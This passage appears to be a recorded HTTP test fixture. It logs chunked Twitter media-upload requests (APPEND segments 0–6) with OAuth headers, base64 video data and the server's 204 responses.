oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"oyitDhdsPZg4%2Forbkwz9l5Wa5qk%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=AAAAHGZ0eXBtcDQyAAAAAG1wNDJpc29tYXZjMQAAAIRmcmVlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFy%2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RZJqwH%2F%2Bebscg5uGd9pj%2BeVxn%2B0nHVqYd3N%2FVsh27jZCCPi5R6eQ0Pkt%2FH9YWC8sRoEUJlC%2BnZXEEVR6IorClGwBxeBm7bK1Xjp4QIZY88wn4sNEvDIpnWA5NeQP8h7Oaxq0%2Brnk%2FM0HAM%2FiWMggQ3lBABAdwSyfMJZzRoYlzzTXX7CJUYpJ45I4wABAAOQPMJQ6ZBggQM9XcaLeyD5O2YeYHFZmCi%2F5O%2BeBfbBngWMOyZAJLzyH9LFKnqmKYauQ6f8gKjp7H4tUiNthJB9YJETQKbj958EARXCQgFis9HLMvsiiPFVgS9eug1NhDQ5QrkG4MuERADAElDHQlyHCcbuolBSVf3TQAkRQ0GgDYo2Y9XImWzGIj%2FW%2FzEkb%2BYC%2BxFkjYFhKcuOBXPwofWTTta7QfdI7gM4cD8w1WCVg1eJjQYQAJAChgYAECgVV6ACFlmkhjV9OONY6iFxAIOt8QxMBrOMU5lkwVVQXFXJ%2BscQrQd0p%2B8PQplVRH4aMK94cReK0f7xB4cUkVlitngnlSI6rIYk0ArG%2FzJHuAd1cRTb36SKqd%2BEEpDhABBWHm5xy4KgfKHRPWuwNm%2B3Mt0Nq%2FkHRIUQh7Oh%2BuncsvILNR8AxQ22gcT%2FZUO%2F2LzhEOTx35gDMFSYDI8zz4MWDjyp9Ms7Abe9cfCABxxAgFFSUfuBwGw%3D&media_id=1254206535166763008&segment_index=0" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:55 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:31:55 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_nf5FTSJ6nKSAgJW1o\/tyHw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:55 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111509343626; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:55 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "66751beaca35821b237cd01221b29bb3", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19952", - "x-rate-limit-reset": "1587864356", - "x-response-time": "30", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00709e2d0087a955", - "x-tsa-request-body-time": "96", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-Kj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PL1vNKYrXlgj%2FJauQpRSAIu%2BQLKVzPD83nM42oUnTF8W%2FfDwcApsF5HVD5sfqQN2QLTq41j%2FwSh2aPGJSKNsltN7wsk%3D&media_id=1254206535166763008&segment_index=1" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:55 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:31:55 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_Z3hFEsqm1\/ZZt8JdhNbQBw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:55 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111552419044; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:55 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "57f08b9e5acd38f1913056871cbaa928", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19951", - "x-rate-limit-reset": "1587864356", - "x-response-time": "35", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00cd0d7300ac94a5", - "x-tsa-request-body-time": "98", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"nLcH8ZfnQD1ew8r9o8aBL3Ot9b4%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=cZis%2FifBlNa7A0NoHhJGn8G6eEq8WBcfz7W2aYVDKVFw0V3ij%2FvbOgM7QDLsufz%2Bshig7Lzag4%2F668kA8c1AjLBTrfYSd3vDMJMswY3hyhyqgfuaM0Qvj9nMnYoXYCTWJ0tjs9luPdqPDDABrQwAwPBFxAzEBWCTUxYWXWQFiiETwaagBSjIZ1FaiAKrigKGTtJ5otpVFOS0s4nT%2FWuHWBiZPOcMGnVzJHSpyjUZhh7zXTnmlXcZIOCr%2F%2BAtrmDUMBwGJmBxS%2BCYRywDsHh8Vixygf1RniqhOCHn60UJLINJeF1iz29M54tpn4HABSHnM%2FA4DHbGPJ2Lg8xabN%2FYexA1iKWMdYjH4N0S4gmZeWQqZoEQBOyI6LDuWR339A35ESNkDQwutHPgQrkcetCsqRgfNw0BvQdnf1%2FnZmjXNDFdyDYmOom2i6UCCAeasDXg%2FFjci7kIUzCJX55KCQN5DjX%2BiAZFazqGI54kVSy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Huy%2F3pdQufGmTCEUcTo2cdH%2Bvl5xdmwV8I0cJ2DxB9ZrrmXAEfdwVa6ZSMv3fQKDQ%2BPMIWEjyO2lsvr%2BCc4d8s98IvPJ6Y%2BFbMISR5IawfwK5J5ff9E6NWonSvm%2Bor1%2BvBFNxJp4clyGl6ysF3dwxqIt3%2BI0lD49mLov6%2BaTDU0%2F34SK0mIjDLm393hihkI62OyqJ%2BBQcitiMCic7vCEGp87HguI4ZMZZnDgsxjz7L9eozgxvLdzRUTnxLAgfI%2Bv9vmAvF4ZNyBYlOuBKva4Ucy%2FdN4LCzhQyRwYvGZW%2FPTz4glkuU8YWdUhen4iYiWhKjBx1kV%2FtC3R4JcSS%2Fz0TR8fjh5x4Jp4c0ef98EZWBUEKryuid9eqEPPror0K%2Fr9XkVfwpQ5UKmNvhMz%2BqwxzJYAARjetIAdh4fj4wWD%2BYfBW%2BYPS1NjAjhzVUIiuv5f%2FLBbGwcEjbHeJleMTYMTpre4drWXDQWcxLAMC902le6jNQpM%3D&media_id=1254206535166763008&segment_index=2" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:55 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:31:55 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_88U7rKO142Yu9lpXA3dvDQ==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:55 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111596910130; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:55 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "2d61f65deb660b6f9e5e929bca5f938b", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19950", - "x-rate-limit-reset": "1587864356", - "x-response-time": "29", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00f384e80016b72d", - "x-tsa-request-body-time": "97", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"bwZdhRo4krHJwyv9210UsR9Fb4c%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=%2Ft2vhfWOerfIY22EHX5DMlPC1hyWaPi4szL5nWUqN%2B%2F8EmjuQWX%2BTUZuVRn%2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r365f9rLu75Ve7qiFe7XUvS9a4nq%2B6L9P4W6NUn9ke8qK7Y0NGNbQLXqxXrF%2BtXX2rF6r3Wr1XW1Ejv6r%2FWD9eqzeHUhv1c%2FPco7v%2FwRXptuZPP%2F%2FWu3lgwP2qdbPcZkgYifP32TjdXgQlBHWaEpda9CfoteteYjcZBU%2FhK%2BwCRq5gwHYI7Es4YD1erd9rFXn6%2FmoUl8FtJBv0GOhAvfouFWial3XvtWrVWVtr3yd9VerO5PVgvRTlXlIm1%2FJ0Mv%2BEtDe8qT8EZc%2F1%2BCckiixyr%2BpLBDzXKvXv1yqtWrkuVRfc8vLfq0nicvod7P5Z3NsD%2FFcYLj7cogO%2Fwsd9ktakExxuKioL16NBfn5UORhP%2FgkpMHNXv1g%3D&media_id=1254206535166763008&segment_index=3" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:56 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:31:56 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_ym+XMOREfW7lUyL9cNn5Lw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:56 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111637858926; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:56 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "52661200a02716e08b016e8b92bbd104", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19949", - "x-rate-limit-reset": "1587864356", - "x-response-time": "33", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00774e2e006bde3f", - "x-tsa-request-body-time": "61", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"fHQi2UNYdgEsY5rA%2F7OeMFPv0II%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=L8MbIiX2k1ohoWDf7r67WKrx3LeEc2mr3dXXrh3IX1%2FcajIHeXy%2FdUy287%2F5a1vz%2BxyBmU%2FrzWEOkPr1avmL%2F%2FN6L0nrPXs1Nfzd1Lfd%2BeqRwwYxG%2Fuyff%2B7Gg46Y%2BisXTS3J61Xqz9ar1cfDGsmapqkXf0X%2FXZOZuyWbHbfgiKlav%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vr6%2F5F%2Bm8RuBjSezjIKF%2Fe80JkS60p%2BThzL003MVPgavT2LG4LLUeJaLULwYvYA4ASQUkIwUCYlCwYCgWLAWCgmCgVChVCgmCoSIITCIXNazr1cyuN7hJqskqSqKS5lrscT2%2F9xqT3l4%2F639N8VHn07n2ui9bX6dhdc%3D&media_id=1254206535166763008&segment_index=4" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:56 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:31:56 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_I9quZtwyjvi7QmIAdNIoZA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:56 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111683115618; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:56 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "1b8ffb9cd61bec2529599abe8a434732", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19948", - "x-rate-limit-reset": "1587864356", - "x-response-time": "40", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00a1c7e7007f92ae", - "x-tsa-request-body-time": "95", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"K0VtQ5SH2exY0WtSVz%2BaZ4zgl%2FU%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=lrH3v0DPfVdMOPMLGsE2%2FCYtZt%2FQjaektMBPKBsGUTHBnVdEz3OyN8xmBgk2tOVJOTbZguTRWbifU0At1%2BhmqVHdekG%2F6tjTfCVfFfr25WU8LgafsM1Ovw46zwu9kfxsvkRuA4mbYAONdlRefAro3NzXHpSXH2omUxhwFxv7ujA670qOljqJDqYyfNXFQ9uWhkdVm6ecHAEiFJQoFhIFgoNhIFkKFhoFgoFgqJBKFwkMQkERM59vXHMvlrMLy5KK4qlKSLpeg7dlXgnL%2Fz1H9G%2Bf%2F9beX%2FU4UGNCa61pn8yy%2Bx67vw2qyaTYU3H1rLmIRd%2BNkvFBqFnmj5197qd1EqmPJaVrp8YWwnR69u%2FalO647v7aLSYyETDmo%2BfEeETTXctywZwJoHCSNld%2FWc%2FomUS90O67VmpxJefI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1apC167XvJk9aq%2F0R5PWv1qT16oAAACw0GaCYJqBX%2BhMbV8Xc3q%2F6vJc11yV6p0TQm%2FXu4%3D&media_id=1254206535166763008&segment_index=5" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:57 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:31:57 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_tSNJ2BX9jZT8jZQB84ROfA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:57 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111730493788; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:57 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "2845491e1c0bad46dde60b8f2ad21e38", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19947", - "x-rate-limit-reset": "1587864356", - "x-response-time": "38", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00df20bd0058afe5", - "x-tsa-request-body-time": "103", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"9zgT%2Bx3Lr2il7LK6kPQJLklIRAY%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=rn9ffrVXV63X9WRN%2Fq6rVyhS369JVQjrlu9W7K%2B785F%2BPf69aq6vtTJPfav1K5XrX69Xq92tSevRF%2FnqYYu%2FxHSt0TdrnVWsU3q8nrSrurRHaEP%2BjyltaiZ0VkVauS%2BrV6mT5v1Y%2FN0Rkvy7Tf6t%2BuUTasVxU9rcq8QveO8Ut9l82PyEYmKZFJeIv1lXq9jvFfLFcvzd479%2Bvfm3Ip17KMlL0la9%2BrD6wSYZ3Ldr0nq8nrFfq9DHcqd914J9JrSaTIn4IaCN9%2FzaZwwGF9SIoPwl4yJBm973w1SndWsu%2B%2FPUf%2F%2Fz32sXNRPrVXXlsE9D%2BDCY41kSx02wLvoBpDrg3debDLv7krf5SZvy%2Fotfhmyrf58Zt%2FhzJ%2BroBk39Xfq9wj%2BsUg79dq5L5CS5rycMWT7q%2F0d%2B%2B3JiNgaRbl3RMq4u4urifLh2JQsI%2FCFAKX0OYMCUEAmQ4P82Y%2FDcmFeX6%2F7%2Bu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pzfq9etRPs1UkiCuf0d7tar1qslcqFf65d3zfN%2BryerH6xd%2FSvXEfrURcb65V6uH69%2BsHfn%2FklZtsf1Too7lqtZdrr3WpKq9erVWq4hf%2BX%2Bsv1KD9cv3bbXX5eNNGrk4jtZpvVqi5xyyqq6EL2td1693Nf5aJgKu7te7UqTSq54%2F71fqsq9Wv1ijbU6d369frL9e%2FV71Xu16W577nuvJjQSdfyW0s86xX692vV691L0Zfd%2BrE3rhfq0vrXa5fr361drFVzesprr1lV14IdaWv3rJBevfqwNff6vLf5rJd3Nf7KluW68L82UDh%2BIM19CLsqH5yKnLT7vu8Rv69XJbV5r%2FWKX3pkJWX0SCS6J5f8v16tGeup%2FWp%2FRWMn5%2FkLl8t99q1WrVa9EecQsfiWvyecq%2FjiDdgk5c9V1ffdeSGF%2FD9e5day35terXLLaLrtWku09gk42v5Xq5Vr0b6I04pFEP31aVu7u5%2FXH%2B5P%2B663%2Bvfr3y%2Fr36IdJNZhSz51k9v%2BJubLq54ABKpn%2BTCZImKoyJE4iszrgR4l4mepvoMvEPmnzWHhkk5727Poo1sxGPNR1gbQKBCZ9IjJNmv8I%2BpC3dhrt2TWjcvsb0UZoVAA8oT1aEqnIu8Hg1De%2BpvmeF7ESx4G46hMeLx1uK8isCYG8uahka9zFUaA%3D&media_id=1254206535166763008&segment_index=6" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:57 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:31:57 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_ldBTpjgQQFLXxpCDfCzkMg==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:57 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111774319906; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:57 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "48ed625ed57b85182e807dbea12e4adf", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19946", - "x-rate-limit-reset": "1587864356", - "x-response-time": "32", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00f5e18a003a9e26", - "x-tsa-request-body-time": "64", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", 